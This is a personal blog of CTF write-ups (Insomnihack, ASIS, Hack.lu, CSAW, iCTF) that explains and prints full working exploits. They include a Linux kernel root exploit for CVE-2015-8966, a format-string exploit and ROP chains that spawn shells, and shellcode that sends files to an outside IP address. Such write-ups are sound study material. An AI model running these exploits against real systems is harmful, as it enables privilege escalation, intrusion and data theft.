Blog of Malte Kraus

Insomnihack Teaser 2019: 1118daysober - more fun with kernel exploitation

Sun, 20 Jan 2019 19:58:24 +0100

In this challenge, I was given a VM image for ARMv7 with a Linux kernel vulnerable to CVE-2015-8966. Searching for that yielded a POC from Thomas King. Looking at that, I learned that I can get the kernel to return to userspace without resetting a call to set_fs(KERNEL_DS);. Turns out this means that for any syscalls taking pointers, the kernel will only allow pointers pointing to kernel memory and disallow pointers pointing to user-space memory (i.e. the inverse of what's happening normally).

That means, kernel memory can be read written using the write and read syscalls. Since pointers to user-space can't be given to those syscalls once the exploit is triggered, I needed a way to reset the value of fs. I ended up using exec to do that. That makes the resulting exploit a bit confusing, since the main function has a manually coded state machine with the state encoded in argv[1], but that way we can do an arbitrary amount of syscalls, each one with fs set to KERNEL_DS or USER_DS depending on what's needed.

From there on, the only question was how to change the credentials of our process to root. While the kernel didn't have any KASLR, the heap addresses for the struct task_struct or struct cred still isn't entirely predictable. Calling a function like commit_creds isn't completely trivial from memory r/w either. In the end, I decided to dump the whole kernel heap (or rather, a bit more than that) and search it for the unique comm value (i.e. process name) of our process. This comm string is stored inline in the task_struct and immediately preceded by the pointers to the process credentials. (See here for the current kernel version.)

There were some duplicate copies of the string in question in the kernel heap, but there only ever was one that was preceded by something looking like a pointer into the heap. So after following that pointer, we can zero the uid field and we're done. (Except that all the execs change the currently active task from the time of reading memory. To prevent that from interfering, I forked off a child at the beginning so that this child would change the permissions of the parent process.)

With all that said, here's my full exploit:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define F_OFD_GETLK 36
#define F_OFD_SETLK 37
#define F_OFD_SETLKW 38

static long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
                             unsigned long arg) {
  register unsigned long _fd asm("a1");
  register unsigned long _cmd asm("a2");
  register unsigned long _arg asm("a3");
  _fd = fd;
  _cmd = cmd;
  _arg = arg;

  register unsigned long _res asm("a1");
  __asm __volatile("swi 0x9000DD"
                   : "=r"(_res)
                   : "r"(_fd), "r"(_cmd), "r"(_arg)
                   :);
  return _res;
}

static void invalidate_limit(void) {
  int fd = open("/proc/cpuinfo", O_RDONLY);
  struct flock *map_base = 0;

  if (fd == -1) {
    perror("open");
    exit(1);
  }
  map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (map_base == (void *)-1) {
    perror("mmap");
    exit(1);
  }
  printf("map_base %p\n", map_base);
  memset(map_base, 0, 0x1000);
  map_base->l_start = SEEK_SET;

  if (sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)) {
    perror("sys_oabi_fcntl64");
  }
  puts("fcntl done");

  munmap(map_base, 0x1000);

  close(fd);
}
unsigned long kernel_heap_start = 0xc5000000;
unsigned long kernel_heap_end = 0xc66f0000;
static void dump_heap(int io_fd) {
  invalidate_limit();
  while (kernel_heap_start != kernel_heap_end) {
    printf("dumping more heap\n");
    int written = write(io_fd, (void *)kernel_heap_start,
                        kernel_heap_end - kernel_heap_start);
    if (written == -1) {
      perror("write failed");
      exit(1);
    }
    kernel_heap_start += written;
  }
  printf("heap completely dumped\n");

  int pid = fork();
  if (pid == -1) {
    perror("fork");
    exit(1);
  } else if (pid == 0) {
    // child
    execl("./0123456789abcdef", "0123456789abcdef", "b", NULL);
  }
}
static void wait_children(int count) {
  while (count > 0) {
    int status;
    int r;
    do {
      r = waitpid(-1, &status, 0);
      if (r == -1) {
        perror("waitpid");
        exit(1);
      }
    } while (r == 0);
    printf("child %d has exited: ", r);
    if (WIFEXITED(status))
      printf("exit code=%d", WEXITSTATUS(status));
    if (WIFSIGNALED(status))
      printf("signal=%d", WTERMSIG(status));
    if (WIFSTOPPED(status) || WIFCONTINUED(status))
      printf("stop/continue");
    printf("\n");

    count--;
  }
}

static void make_write(int io_fd, void *addr, char *next) {
  int written = write(io_fd, addr, 4);
  if (written != 4) {
    if (written == -1)
      perror("write failed");
    else
      printf("incomplete write: %d!\n", written);
    exit(1);
  }
  if (next)
    execl("./0123456789abcdef", "0123456789abcdef", next, NULL);
}
static void make_read(int io_fd, void *addr, char *next) {
  int num_read = read(io_fd, addr, 4);
  if (num_read != 4) {
    if (num_read == -1)
      perror("read failed");
    else
      printf("incomplete read: %d!\n", num_read);
    exit(1);
  }
  if (next)
    execl("./0123456789abcdef", "0123456789abcdef", next, NULL);
}
static unsigned int zero_creds(int io_fd, unsigned int cred_addr) {
  printf("credentials at %x\n", cred_addr);

  if (lseek(io_fd, 0, SEEK_SET) == -1) {
    perror("lseek");
    exit(1);
  }
  printf("zeroing file\n");
  make_write(io_fd, "\0\0\0\0", NULL);
  if (lseek(io_fd, 0, SEEK_SET) == -1) {
    perror("lseek");
    exit(1);
  }

  invalidate_limit();
  printf("writing credentials\n");
  make_read(io_fd, (char *)cred_addr + 4, NULL);
  printf("credentials now 0\n");
}
static unsigned int find_creds(int io_fd) {
  char *map_base = mmap(NULL, kernel_heap_end - kernel_heap_start,
                        PROT_READ | PROT_WRITE, MAP_PRIVATE, io_fd, 0);
  if (map_base == NULL) {
    puts("mmap failed");
    exit(1);
  }
  unsigned int num = 0;
  for (unsigned i = 0; i < kernel_heap_end - kernel_heap_start - 12; i += 4) {
    if (memcmp(map_base + i, "0123456789abcdef", 15) == 0) {
      char *pos = map_base + i;
      printf("candidate at %x\n", i + kernel_heap_start);

      char *cred_effective = pos - 4;
      unsigned int cred_addr = 0;
      memcpy(&cred_addr, cred_effective, 4);

      int pid = fork();
      if (pid == -1) {
        perror("fork");
        exit(1);
      } else if (pid == 0) {
        // child
        if (cred_addr >= kernel_heap_start && cred_addr < kernel_heap_end) {
          zero_creds(io_fd, cred_addr);
        }
        exit(0);
      }
      num++;
    }
  }

  munmap(map_base, kernel_heap_end - kernel_heap_start);

  return num;
}

int main(int argc, char const *argv[]) {
  int io_fd = open("./rw", O_CREAT | O_RDWR | O_CLOEXEC, S_IRUSR | S_IWUSR);

  printf("step %s\n", argv[1]);
  switch (argv[1][0]) {
  case 'a':
    dump_heap(io_fd);
    wait_children(1);
    setuid(0);
    if (geteuid() == 0) {
      puts("got root");
    } else {
      puts("still unprivileged :(");
    }
    execl("/bin/sh", "sh", NULL);
    break;
  case 'b': {
    unsigned int num_candidates = find_creds(io_fd);
    wait_children(num_candidates);
    break;
  }
  }
}

And here's the script I used to compile and 'upload' the program through stdin.

#!/home/malte/.venvs/pwntools/bin/python

import os
from pwn import *
from subprocess import check_call

#context.log_level = 'debug'

check_call("arm-buildroot-linux-uclibcgnueabihf-gcc -static find-heap-pub.c -O3 && 
            arm-buildroot-linux-uclibcgnueabihf-strip a.out", shell=True)

hash_val = md5filehex('./a.out')
recv_hash = ''
encoded = b64e(open('./a.out').read())

os.chdir('./1118daysober_files')
r = process(['./run.sh'], stdin=PTY)#, raw=True)
#r = process(['/usr/bin/sshpass', '-p', '1118daysober', 'ssh',
#             '1118daysober@1118daysober.teaser.insomnihack.ch'], stdin=PTY)#, raw=True)
r.readuntil('/ $')

r.sendlinethen('~ $', 'cd /home/user')

while recv_hash != hash_val:
    if recv_hash:
        print('expected "{}" but got "{}"'.format(hash_val, recv_hash))

    print(r.sendlinethen('\n', 'base64 -d > 0123456789abcdef <<EOF__EOF__EOF__EOF'))
    with log.progress("Uploading...") as p:
        for i in range(0, len(encoded), 78*200):
            for j in range(i, i+78*200, 78):
                p.status("{0:.2f}%".format(float(j)/len(encoded)*100))
                r.sendline(encoded[j:j+78])
            r.recvn(len(encoded[i:i+80*200]))

    r.sendlinethen('$', 'EOF__EOF__EOF__EOF')
    r.sendlinethen('\n', 'md5sum 0123456789abcdef')
    recv_hash = r.readuntil('$').split(' ')[0]

r.sendlinethen('\n', 'chmod +x 0123456789abcdef')

r.sendlinethen('\n', './0123456789abcdef a')

r.sendlinethen('\n', 'id')

r.interactive()

r.sendline('exit')
r.sendlinethen('System halted', 'exit')
r.kill()

ASIS CTF: Silver Bullet - Format String Pwning 101

Mon, 26 Nov 2018 21:10:56 +0100

main allocates a buffer of size 256 on the stack, zeroes it and stores user input in it (using read).
main then calls a function with that buffer, which
- initializes a function pointer to a benign function
- calls 'printf on the buffer with user input
- calls strcpy to copy the user input into a buffer of size 20 on the stack

We also notice a function we'll call run_global_cmd that basically does if (cmd_active == 1) { system(cmd_string); }, where the two variables are global.

So, with these constraints, we can figure out that a successful exploit must perform these steps:

* use a format string exploit to:
    * set `cmd_active` to `
    * set some buffer somewhere to the string 'sh'
    * set `cmd_string` to point to this buffer
* overflow the buffer in the inner function so that the function pointer is
  changed to point to `run_global_cmd`

If you're as rusty as me on format string attacks, here's a quick primer...

A format specifier like %20$n writes the number of written bytes to the int pointer given in 20th parameter to printf. By using hn or hhn instead of n, a short or char with the number of written bytes is written.

Since the buffer with user input is stored on the stack, we can just refer to its contents from the format string as the Nth parameter to printf. So writing to an arbitrary address is as simple as including that address in the user input, and figuring out the offset from the stack frame for printf.

Since writing large-ish 32bit values directly would require the generation of a huge amount of text, it is better to write each byte of the 32bit value individually.

To write e.g. 20 additional bytes to the output, a format specifier like %20c can be used.

By taking these things together, I ended up with this exploit script:

#!/usr/bin/env python2

from pwn import *
import sys
import os

context.arch = 'i386'

#p = process('./Silver_Bullet', stdout=PIPE)
p = remote('37.139.17.37', 7331)
e = ELF('./Silver_Bullet')

cmd_string = 0x804a030 # the global variable used by run_global_cmd to find the pointer to the command for system()
cmd_active = 0x804a02c # the global variable used by run_global_cmd to decide whether to call system() or not
destruct_bool = 0x804a028 # some global variable used by a destructor. we clobber this to store the string 'sh'
run_global_cmd = 0x80486c7 # a function that basically does: if (cmd_active == 1) { system(cmd_string); }

# the stack buffer with our user input is the 20th parameter to printf
param_idx = 20
# the 20th byte in the buffer is used as a function pointer after strcpy
overflow_offset = 20

payload = ''

# overflow the strcpy into the function pointer
payload += overflow_offset * 'a'
payload += p32(run_global_cmd)

# store pointers we need to write to on the stack
payload += p32(cmd_active) # param 26 = (param_idx + len(payload) / 4)
payload += p32(destruct_bool) # param 27
payload += p32(cmd_string) # param 28
payload += p32(cmd_string + 1)
payload += p32(cmd_string + 2)
payload += p32(cmd_string + 3)
num_written = len(payload)

def write(value, param_index, num_bytes=1):
    max_val = 256 ** num_bytes
    global payload, num_written
    assert 0 <= value < max_val
    write = (value - num_written) % max_val
    num_written += write
    payload += '%{}c'.format(write)
    if num_bytes == 1:
        payload += '%{}$hhn'.format(param_index)
    elif num_bytes == 2:
        payload += '%{}$hn'.format(param_index)
    elif num_bytes == 4:
        payload += '%{}$n'.format(param_index)
    else:
        raise Exception("can't write {} bytes in a single operation".format(num_bytes))

# write 0x01 to cmd_active:
write(1, 26)

# write 'sh' to destruct_bool:
write(u16('sh'), 27, num_bytes=2)

# write destruct_bool to cmd_string
# do it byte-by-byte so that we don't have to wait for a ton of useless data to be printed
for param, c in enumerate(p32(destruct_bool), start=28):
    write(ord(c), param)



#gdb.attach(p)
p.sendline(payload)
p.recv()
p.sendline('echo abcd')
p.recvuntil('abcd\n')

p.interactive()

Hack.lu CTF 2018: Rusty Codepad + Baby Kernel

Thu, 18 Oct 2018 19:16:49 +0200

It's time for some CTF write-ups again.

Rusty Codepad

In this challenge, one was supposed to provide a file code.rs with a function code, which would be called from a main program that looks like this:

extern crate code;
use code::code;

fn main() {
    // hidden
    code();
}

To make things more interesting, the provided code was compiled with a switch that disables all usage of unsafe, and usage of any of the include*!() macros (which could leak the contents of main.rs during compilation) was disallowed.

I first unsuccessfully tried to force a stack overflow - the Rust compiler has a static limit on the size of a stack frame, and there is no alloca/VLA support in Rust. My next idea was to use #[no_mangle] on an unsafe function and name it identically to the mangled name of code::code() which I'd mark weak to prevent linker issues with the duplicate symbol. Unfortunately, you can't mark a symbol as weak in Rust. Then I was thinking about providing my own version of free with one that prints anything it gets that looks like a flag. However, that didn't work out because Rust by default ships with a statically linked jemalloc, so overriding a dynamically linked function is not possible.

Looking through the list of attributes, I finally came up with a working solution. The code() function is actually empty, instead I embedded some shell code in a static byte array called __libc_start_main.

#[no_mangle]
#[link_section=".text"]
pub static __libc_start_main : [u8; 127] = [
  ...
];

pub fn code() {}

I first used pwntools to generate some shellcode that would leak me the compiled binary so that I could find out how the flag is retrieved in the main function:

#!/usr/bin/env python2
import sys

from pwnlib.shellcraft.amd64.linux import connect, readfile, exit
from pwnlib.asm import asm

code = readfile('/proc/self/exe', 1) + exit(0)
sys.stdout.write(asm(code, arch='amd64'))

Because the web interface for the challenge used a fancy web terminal that was not meant to display huge amounts of binary data (and required a captcha which was hard to use from curl), I changed it to send the binary to a network socket:

code = ''
code += connect('78.46.244.89', 1337)
code += readfile('/proc/self/exe', 'rbp')
code += exit(0)

Reversing this binary, I found that it just reads the flag from a file called flag.txt. So I changed the shellcode above to send this file instead of /proc/self/exe to get the flag.

Easier Solution?

Looking back, I was wondering why I even bothered with all this shell code. No unsafe code is required for reading files or opening sockets. I think, I could just have written some Rust code that does the same thing as my shellcode. Reversing the binary a bit further beyond the reference to flag.txt revealed that seccomp in strict mode was used to prevent any syscalls except read, write and _exit from working. Since our fake __libc_start_main runs instead of the normal main, this sandbox never becomes active, of course.

I guess the simplest solution would have just included an empty function for prctl to prevent seccomp from going active. Then the code::code function could have just read the flag using normal Rust code.

Baby Kernel

This was a simple kernel exploitation challenge. We were given a kernel and initrd. Booting it, a menu appeared that allowed calling an arbitrary kernel function (from ring 0) with a single argument. (For that, it loaded a custom kernel module.)

To get an idea of how to get a flag, I first modified the init script (at /init) inside the initrd to drop me into a root shell instead of the boot menu. (This took me a bit longer than expected, because I was missing the -c flag when creating the new initrd. So for my own future record this is the right command to pack a new initrd: find . | cpio -o -c > ../sh_initrd.cpio) With this root shell, it was quickly clear that we were supposed to escalate privileges from user id 1000 to root, in order to get permission to read the file /flag.

The kernel did not have any features like KASLR or KAISER enabled that would randomize the kernel addresses. (I checked this by attaching with GDB to the qemu running the kernel and comparing the addresses with those shown by r2.) So I looked a bit around the kernel sources for a function that looked like it could be used to change privileges. I started at the syscalls for the set*uid, which quickly lead to all the functions defined in creds.c. After a bit of trial and error, I ended up calling the function commit_creds (which changes the credentials of the current process to those specified in a struct cred * it receives as only param). As a parameter, I gave it a reference to the global variable init_cred, which holds for the credentials of the init process (which runs as root).

To get the flag, I piped the output of this script to nc (and for testing into qemu):

#!/usr/bin/env python3
import sys
from time import sleep

init_creds = 0xffffffff81a3c4e0
commit_creds = 0xffffffff8104e9d0

sleep(5)
print('.', file=sys.stderr)


def call(what, arg):
    print(1)
    print(what)
    print(arg)


def id():
    print(2)


def read_file(name):
    print(3)
    print(name)


def bye():
    print(5)


call(commit_creds, init_creds)
id()
read_file('/flag')
bye()

CSAW CTF Finals: "DEFCON 1" and "Global Thermonuclear Cyberwar" challenges

Sat, 18 Nov 2017 17:19:00 +0100

Last week, I and 3 other members of FAUST got to travel to Valence, France for the finals of the CSAW CTF. In the end, we didn't place too well, but it was still great fun. This post is about the two challenges Johannes and me worked on for most of the contest, but did not manage to finish in time.

DEFCON 1

For the "DEFCON 1" challenge, a 16bit boot ROM for x86 was provided (like in the "realism" challenge from the qualifiers). When booting this image in Qemu, it asked for a password before it'd do anything else:

So it was time to look at the code statically. We'd already found out for the qualifiers that the code from the MBR is loaded at address 0x7c00. There was not much code visible here. First some BIOS calls to setup the video mode, print the text to the screen, and read some data from disk (we guessed correctly that this just read the part of the image that is not part of the MBR and therefore is not loaded by the BIOS). Then a loop that would read 8 characters (i.e. the password) from the keyboard.

This was followed by the actual challenge: a loop XORed the rest of the image with the (repeated) password and the static value 0xc3. When the first few bytes decrypted to the text WARGAMES, the code jumped into the decrypted area, otherwise it would ask again for the correct password.

Me managed to waste a surprising amount of time on off-by-one errors and the missing 0xc3 key, but in the end found the correct password: -JOSHUA-. When typing this into the running system, a game was unlocked where you could play either as the US or the USSR and drop some bombs on the enemy.

It turns out that is pretty much all there is to the game, there is no winning and no destroying things owned by the enemy.

For the first 50 points, however, playing the game was not necessary. We wrote a quick Python script to decode the image in order to analyze it statically and found the embedded flag as a string: flag{ok_you_decrypted_it_now_plz_pwn_it!}. Directly after that followed the text flag{__PWN_ON_SERVER_TO_GET_REAL_FLAG__}, telling us about the address of a second flag on the CSAW servers for the pwning challenge:

Global Thermonuclear Cyberwar

The same ROM image also could be pwned. On the server side, a game storing a different flag was running, so the goal was to get this string, by only playing the game - without access to the image running there.

We wasted a lot of time reversing the whole binary (looking for non-obvious features of the game) because we could not find the bug, when a bit (more) dynamic analysis would have revealed the bug: when printing the flight path of the missiles (see video above), one could trigger a buffer underflow when this path did not fit into the screen. The frame buffer was located at an address higher then the rest of the memory, so when manually triggering such an underflow, the game would often crash.

Once we knew about the bug, the feature that allowed choosing the color also made perfect sense: the color is the byte value that's written into the frame buffer, so by changing the color we can determine what to write to memory. However, there was still the problem that we didn't really know which addresses would be overwritten for every set of bases attacking each other. Our attempts with python scripts for gdb (attached remotely to qemu) failed due to performance, and the emulation/binary analysis frameworks we were familiar with didn't support 16bit x86. The code that was computing the flight trajectories was also too complicated for us to re-implement during the CTF.

In the end, I manually patched the binary. I wrote some assembly that iterated over all pairs of enemy/friendly bases and called the function to print the trajectory. I also patched this function so that, instead of writing to the frame buffer, it would write the touched address to the serial console, using a BIOS call. Running that modified image, we got a list of all the memory addresses touched for each pair of bases.

During the CTF, I mistakenly believed that we'd have to print the individual bytes of the flag in unary because writing text using BIOS calls would require switching the video mode, for which there was no existing code in the ROM. That, however, was wrong. A successful exploit 'just' needed to call the function that prints the welcome message, after patching this function so that it would print a string at a different address (i.e. the flag instead of the welcome message). The assembly for this is 9 bytes:

org 0xf070
mov word [0x7c14], 0x1664
jmp 0x7c00

As can be seen from that snippet, we found a long enough consecutive memory area we could write to at address 0xf070. After writing the instructions there, we need to overwrite a return instruction pointer on the stack in a single write - luckily there's one ending in 0x70, so that writing 0xf0 to the stack address 0xefff executes our code, and prints the flag.

The final exploit looks like this in action:

ASIS CTF Quals: "Random Generator" Challenge

Sun, 09 Apr 2017 21:06:29 +0200

Today, I'll tell you how I (we) solved the "Random Generator" challenge at 2007's ASIS CTF qualifier round. It's a pwning challenge, so finding the vulnerability wasn't too hard:

The challenge was a x86_64 Linux binary, with most standard exploit mitigations enabled, including (this will be important) stack canaries, but excluding position independent code (allowing ASLR). The main function in the binary called a function that would fill and return a stack-allocated buffer with random data, and then allowed the user to query exactly 7 bytes of that buffer. This of course means that the returned pointer was dangling, pointing to memory that functions called later on might write to. When the user asks for another byte, the program would call sprintf("%s") on another stack-allocated buffer. This scanf call is a trivial buffer overflow on the stack, only complicated by the use of stack canaries.

The binary was of course written exactly so that the random data in the buffer the user could leak would contain the stack canary. Since gcc's stack canaries always end with a zero byte, leaking only 7 of the 8 bytes was sufficient to know the whole canary value. (Finding all this out was complicated a little by gdb's tendency to mess with the exact stack layout, but was still pretty easy in the end.)

The actual challenge was about finding a working ROP/JOP exploit. The scanf call with a "%s" format string reads all user-defined data (including NUL bytes!) up to a white space character. Unluckily, while ASLR wasn't enabled, all addresses for useful library functions (scanf, printf and such) both in the GOT and the PLT contained such white space characters and therefore could not be used in the ROP chain, and while some registers could be set to arbitrary values (using some arithmetic expressions on them), there were no gadgets to jump to an address pointed to by a register, either. The only useful ROP gadget I managed to find was a syscall:

$ ROPgadget --binary /tmp/Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1 --badbytes '0a|09|0b|20|0d'

Gadgets information
============================================================
0x0000000000400286 : adc bl, dl ; ret
0x0000000000400f82 : add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400f6f : add bl, dh ; ret
0x0000000000400f87 : add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f6d : add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f85 : add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f6b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f83 : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400f84 : add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400f6c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400f7d : add byte ptr [rax], al ; add byte ptr [rcx], al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x000000000040027d : add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f7e : add byte ptr [rax], al ; add dword ptr [rax], eax ; add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x000000000040027a : add byte ptr [rax], al ; add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f86 : add byte ptr [rax], al ; mov rdx, rsi ; ret
0x000000000040027e : add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f6e : add byte ptr [rax], al ; ret
0x0000000000400f72 : add byte ptr [rax], al ; sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040027b : add byte ptr [rbx], al ; add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f7f : add byte ptr [rcx], al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x000000000040027f : add byte ptr [rdi + 0x4e], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f81 : add byte ptr [rdx], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ret
0x0000000000400283 : add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f80 : add dword ptr [rax], eax ; add al, byte ptr [rax] ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov rdx, rsi ; ret
0x0000000000400ef6 : add eax, 0xfffac4e8 ; dec ecx ; ret
0x0000000000400e80 : add eax, 0xfffb3ae8 ; dec ecx ; ret
0x0000000000400e28 : add eax, 0xfffb92e8 ; dec ecx ; ret
0x000000000040027c : add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400f57 : add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f56 : add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400ec5 : call 0x10020fe5
0x0000000000400f49 : call qword ptr [r12 + rbx*8]
0x0000000000401107 : call qword ptr [rax]
0x0000000000400f4a : call qword ptr [rsp + rbx*8]
0x0000000000400285 : cwde ; adc bl, dl ; ret
0x0000000000400f4c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400f47 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000400f46 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f41 : mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f89 : mov edx, esi ; ret
0x0000000000400f44 : mov esi, esi ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f88 : mov rdx, rsi ; ret
0x0000000000400f43 : mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400f65 : nop ; nop word ptr cs:[rax + rax] ; ret
0x0000000000400f68 : nop dword ptr [rax + rax] ; ret
0x0000000000400f67 : nop dword ptr cs:[rax + rax] ; ret
0x0000000000400f66 : nop word ptr cs:[rax + rax] ; ret
0x0000000000400f59 : or byte ptr [rbx + 0x5d], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f60 : pop r14 ; pop r15 ; ret
0x0000000000400f62 : pop r15 ; ret
0x0000000000400f8c : pop rax ; pop rdi ; ret
0x0000000000400f5b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f5f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400f5a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f63 : pop rdi ; ret
0x0000000000400f61 : pop rsi ; pop r15 ; ret
0x0000000000400f5d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400282 : push rbp ; add ch, bh ; cwde ; adc bl, dl ; ret
0x0000000000400288 : ret
0x0000000000400ec8 : ret 0xb60f
0x0000000000400ebe : ret 0xd089
0x0000000000400ec6 : sbb byte ptr [rcx], al ; ret 0xb60f
0x0000000000400ecb : shr byte ptr [rcx], cl ; ret 0xd089
0x0000000000400284 : std ; cwde ; adc bl, dl ; ret
0x0000000000400f75 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400f74 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000400f8f : syscall ; ret
0x0000000000400f6a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400f45 : test byte ptr [rcx + rcx*4 - 1], 0x41 ; call qword ptr [rsp + rbx*8]

Unique gadgets found: 71

After spending way too much time on some dead ends, the solution still ended up rather simple. Calling library functions is of course not necessary at all when you can perform arbitrary syscalls. So the exploit I ended up with uses a ROP chain to first do a read() call that reads the string "/bin/sh" to some known writable address, followed by a call to execve (with NULL argv and environment parameters, although these could be set with even more calls to read()).

The (rather gross) exploit ended up like this:

#!/usr/bin/env python3

# execute this script like this:
# socat exec:"python3 /mnt/exploit.py" tcp:69.90.132.40:4000
# socat exec:"python3 /mnt/exploit.py" system:"./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1"

import sys
import struct
import os
from time import sleep

def get_canary():
    canary = bytearray(8)
    inp = ""
    for i in range(1, 8):
        while True:
            inp = sys.stdin.readline().rstrip()
            print(repr(inp), file=sys.stderr)
            if inp.endswith("to get?"):
                break
        print(str(i), flush=True)
        print(str(i), file=sys.stderr)
        l = sys.stdin.readline().rstrip()
        print(repr(l), file=sys.stderr)
        _, _, val = l.rpartition(" ")
        canary[i] = int(val)
    canary = struct.unpack('<Q', canary)[0]
    print("canary: {}".format(hex(canary)), file=sys.stderr)
    return canary

def get_payload(canary):
    # Input to trigger 1st `scanf()`
    print(b'10\n', file=sys.stderr, flush=True)
    sys.stdout.buffer.write(b'10\n')
    sys.stdout.buffer.flush()
    inp = ''
    while True:
        inp += sys.stdin.read(1)
        if inp.endswith("comment: "):
            break
    print(repr(inp), file=sys.stderr, flush=True)

    p = b'a' * (129 * 8)

    p += struct.pack('<Q', canary) # Stack canary

    p += b'a' * 8 # Dummy rbp

    # rax=read, rdi=stdin
    p += struct.pack('<Q', 0x400f8c)    # `pop rax; pop rdi; ret`
    p += struct.pack('<Q', 0)           # rax: 0 (read)
    p += struct.pack('<Q', 0)           # rdi: fd=0 (stdin)
    # n=8
    p += struct.pack('<Q', 0x400f61)    # `pop rsi; pop r15; ret`
    p += struct.pack('<Q', 0x8)         # count=8
    p += b'a' * 8
    p += struct.pack('<Q', 0x400f88)    # mov rdx, rsi ; ret
    # rsi=writable
    p += struct.pack('<Q', 0x400f61)    # `pop rsi; pop r15; ret`
    p += struct.pack('<Q', 0x602100)    # writable address
    p += b'a' * 8
    # read()
    p += struct.pack('<Q', 0x400f8f)    # Syscall

    # rax=execve
    p += struct.pack('<Q', 0x400f8c)    # `pop rax; pop rdi; ret`
    p += struct.pack('<Q', 59)          # Syscall number for execve()
    # rdi=writeable
    p += struct.pack('<Q', 0x602100)    # Writeable address
    # rsi = 0
    p += struct.pack('<Q', 0x400f61)    # `pop rsi; pop r15; ret`
    p += b'\0' * 8                      # argv[]
    p += b'a' * 8                       # Dummy r15
    # rdx = 0
    p += struct.pack('<Q', 0x400f89)    # `mov edx, esi`
    # execve()
    p += struct.pack('<Q', 0x400f8f)    # Syscall

    sys.stdout.buffer.write(p)
    sys.stdout.buffer.flush()
    print(repr(p), file=sys.stderr)

    sleep(1)
    print("/bin/sh\0", end='', flush=True)
    sleep(1)
    print("echo a", flush=True)

    os.system("cat < /dev/tty & cat > /dev/tty")

#os.read(2, 1)

get_payload(get_canary())

ccauthd write-up: UCSB iCTF 2014

Sun, 19 Apr 2015 12:31:38 +0200

So last week UCSB organized another iCTF, crazy as always. This time, they reused 42 services from older iCTFs. Some were modified so that copy-pasting exploits from write-ups didn't work, some were not. Some others were old enough that there just are no write-ups on the internet. A lot of write-ups were apparently taken down during the competition, or (by UCSB) right before it. The Internet Archive saved the day here.

Since there is no point in repeating the old write-ups I used to exploit some of the newer services this blog post will focus on ccauthd which was completely unknown to the internet at the day of the competition and still doesn't seem to have a write-up. Although I just now found what seems to be the source code. It looked a bit weirder in IDA, but not too much.

The service has a text interface usable over telnet or netcat. It allows registering a string, which stores that string and returns a secret auth token that can be used later to retrieve the stored string. This is implemented by creating a file named like the auth token that contains the registered string.

Like in earlier years, UCSB ran uploaded exploits on their own hardware. Other team's vulnboxes were not reachable directly. In the case of ccauthd, the exploit script got the first 14 characters of the auth token and was supposed to return the string stored under the full 31 character token.

